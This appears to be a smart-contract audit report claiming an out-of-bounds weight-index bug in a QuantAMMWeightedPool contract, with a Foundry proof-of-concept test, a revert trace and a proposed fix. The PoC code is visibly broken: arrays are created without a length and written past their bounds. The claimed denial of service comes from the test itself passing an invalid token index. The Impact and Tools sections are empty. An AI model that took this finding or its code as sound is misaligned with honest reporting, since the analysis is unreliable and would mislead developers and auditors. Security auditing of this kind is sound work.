Summary
The QuantAMMWeightedPool contract contains an out of bounds array index issue in its weight calculation logic when handling tokens with index >= 4. This can lead to Denial of Service via transaction rollbacks when accessing weights for higher index tokens and incorrect weight calculations affecting swap prices and pool balances.
Vulnerability Details
The issue lies in the weight calculation logic in QuantAMMWeightedPool where the weights are stored in two separate arrays (_normalizedFirstFourWeights and _normalizedSecondFourWeights) but the indexing logic fails to properly handle the transition between these arrays.
function _getNormalizedWeight(
uint256 tokenIndex,
uint256 timeSinceLastUpdate,
uint256 totalTokens
) internal view virtual returns (uint256) {
uint256 index = tokenIndex;
int256 targetWrappedToken;
uint256 tokenIndexInPacked = totalTokens;
if (tokenIndex >= 4) {
index = tokenIndex - 4;
targetWrappedToken = \_normalizedSecondFourWeights;
tokenIndexInPacked -= 4;
} else {
if (totalTokens > 4) {
tokenIndexInPacked = 4;
}
targetWrappedToken = \_normalizedFirstFourWeights;
}
}
Related storage variables:
int256 internal \_normalizedFirstFourWeights;
int256 internal \_normalizedSecondFourWeights;
The root of the problem is improper index handling when accessing token weights stored in two separate storage variables (_normalizedFirstFourWeights and _normalizedSecondFourWeights), inconsistent tokenIndexInPacked calculations between tokens above and below index 4, inadequate validation to ensure token indices are within a valid range before accessing the weight array, and an issue in the logic of dividing weights between the two storage variables that leads to potential out-of-bounds array accesses.
POC
Add this to QuantAMMWeightedPoolGenericFuzzer.t.sol and run it forge test --match-test testArrayIndexingVulnerabilities -vvvv.
function testArrayIndexingVulnerabilities() public {
FuzzParams memory params;
params.numTokens = 8;
RuleFuzzParams memory ruleParams = RuleFuzzParams({
ruleType: 0,
kappa: _KAPPA
});
params.ruleParams = ruleParams;
params.poolParams.epsilonMax = _EPSILON_MAX;
params.poolParams.lambda = _LAMBDA;
params.poolParams.maxSwapfee = _MAX_SWAP_FEE_PERCENTAGE;
params.poolParams.absoluteWeightGuardRail = _ABSOLUTE_WEIGHT_GUARD_RAIL;
params.poolParams.maxTradeSizeRatio = _MAX_TRADE_SIZE_RATIO;
params.poolParams.updateInterval = _UPDATE_INTERVAL;
VariationTestVariables memory variables;
variables.params = _createPoolParams(params.numTokens, params.poolParams, params.ruleParams);
address quantAMMWeightedPool = quantAMMWeightedPoolFactory.createWithoutArgs(variables.params);
int256[] memory newWeights = new int256[]();
for(uint i = 0; i < 8; i++) {
newWeights[i] = int256(0.125e18);
newWeights[i + 8] = 0;
}
vm.prank(address(updateWeightRunner));
QuantAMMWeightedPool(quantAMMWeightedPool).setWeights(
newWeights,
quantAMMWeightedPool,
uint40(block.timestamp + 5)
);
uint256[] memory weights = QuantAMMWeightedPool(quantAMMWeightedPool).getNormalizedWeights();
assertEq(weights.length, params.numTokens, "Incorrect weights array length");
uint256[] memory balances = new uint256[]();
for(uint i = 0; i < params.numTokens; i++) {
balances[i] = 1000e18;
}
PoolSwapParams memory swapParams = PoolSwapParams({
kind: SwapKind.EXACT_IN,
amountGivenScaled18: 100e18,
balancesScaled18: balances,
indexIn: 0,
indexOut: params.numTokens,
router: address(router),
userData: abi.encode(0)
});
vm.prank(address(vault));
vm.expectRevert();
QuantAMMWeightedPool(quantAMMWeightedPool).onSwap(swapParams);
newWeights[7] = int256(0.3e18);
newWeights[15] = int256(0.001e18);
vm.prank(address(updateWeightRunner));
QuantAMMWeightedPool(quantAMMWeightedPool).setWeights(
newWeights,
quantAMMWeightedPool,
uint40(block.timestamp + 5)
);
vm.warp(block.timestamp + 2);
weights = QuantAMMWeightedPool(quantAMMWeightedPool).getNormalizedWeights();
assertEq(weights[7], uint256(0.3e18 + 0.002e18), "Incorrect interpolation at boundary");
}
Trace:
├─ [8069] QuantAMMWeightedPool::onSwap(PoolSwapParams({
kind: 0,
amountGivenScaled18: 100000000000000000000 [1e20],
balancesScaled18: [1000000000000000000000 [1e21], ...],
indexIn: 0,
indexOut: 8,
router: 0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758,
userData: 0x0000000000000000000000000000000000000000000000000000000000000000
})) [staticcall]
│ └─ ← panic: array out-of-bounds access (0x32)
The test tries to do a swap with indexOut = 8, while the pool only has 8 tokens (index 0-7), this results in an "array out-of-bounds access (0x32)" error indicating an array access outside of valid bounds, there is no validation on the indexIn and indexOut inputs before accessing the array, allowing out-of-bounds access.
This is a security issue that can cause DoS on the swap function.
Impact
Tools Used
Recommendations
Implement proper array bounds checking and correct the indexing logic.
function _getNormalizedWeight(
uint256 tokenIndex,
uint256 timeSinceLastUpdate,
uint256 totalTokens
) internal view virtual returns (uint256) {
require(tokenIndex < totalTokens, "Invalid token index");
uint256 index = tokenIndex;
int256 targetWrappedToken;
uint256 tokenIndexInPacked = totalTokens;
if (tokenIndex < 4) {
targetWrappedToken = _normalizedFirstFourWeights;
tokenIndexInPacked = Math.min(totalTokens, 4);
}
else {
require(tokenIndex < 8, "Token index out of bounds");
index = tokenIndex - 4;
targetWrappedToken = _normalizedSecondFourWeights;
tokenIndexInPacked = totalTokens - 4;
}
require(index < tokenIndexInPacked, "Index exceeds packed length");
}